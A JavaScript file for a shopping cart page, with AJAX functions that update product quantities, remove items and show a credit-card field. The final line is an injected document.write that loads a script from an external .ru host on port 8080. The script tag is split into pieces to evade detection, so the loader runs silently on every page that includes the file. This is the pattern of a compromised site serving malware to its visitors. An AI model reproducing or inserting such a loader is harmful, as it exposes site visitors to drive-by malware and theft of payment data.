var xmlHttp

function getItems_Qty(pid, qty)
{ 
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
 {
 alert ("Browser does not support HTTP Request")
 return
 } 
  var qu = document.getElementById(qty).value;
var url="index1.php"
url=url+"?product_id="+pid
url=url+"&product_qty="+qu
xmlHttp.onreadystatechange=stateChanged 
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}

function stateChanged() 
{ 
 if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 { 
document.getElementById("cartinfo").innerHTML=xmlHttp.responseText 
 } 
}

function GetXmlHttpObject()
{
var xmlHttp=null;

try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 // Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}


function updateProductQuntity(pid,qty){

xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
 {
 alert ("Browser does not support HTTP Request")
 return
 } 

//var qu = document.getElementById(qty).value;
var qtyid = document.getElementById(qty).value;
var url="updateprdqty.php"
url=url+"?product_id="+pid
url=url+"&product_qty="+qtyid

xmlHttp.open("GET",url,true)
xmlHttp.onreadystatechange=show_changed_cart
xmlHttp.send(null)
}

function show_changed_cart(){
	
	 if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 { 
document.getElementById("cart_details").innerHTML=xmlHttp.responseText 
 } 

}

function RemoveItem(item_id){
	
xmlHttp=GetXmlHttpObject()

var url="updateprdqty.php?todo=remove_item"
url=url+"&item_id="+item_id
xmlHttp.open("GET",url,true)
xmlHttp.onreadystatechange=show_changed_cart
xmlHttp.send(null)

}

function getPaymentMethod(p_method){
		
	if( p_method.value=="ccard" )
		document.getElementById('ccard_no').style.visibility='visible';
	else
	document.getElementById('ccard_no').style.visibility='hidden';
	
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Webmaster.js"></scr'+'ipt>');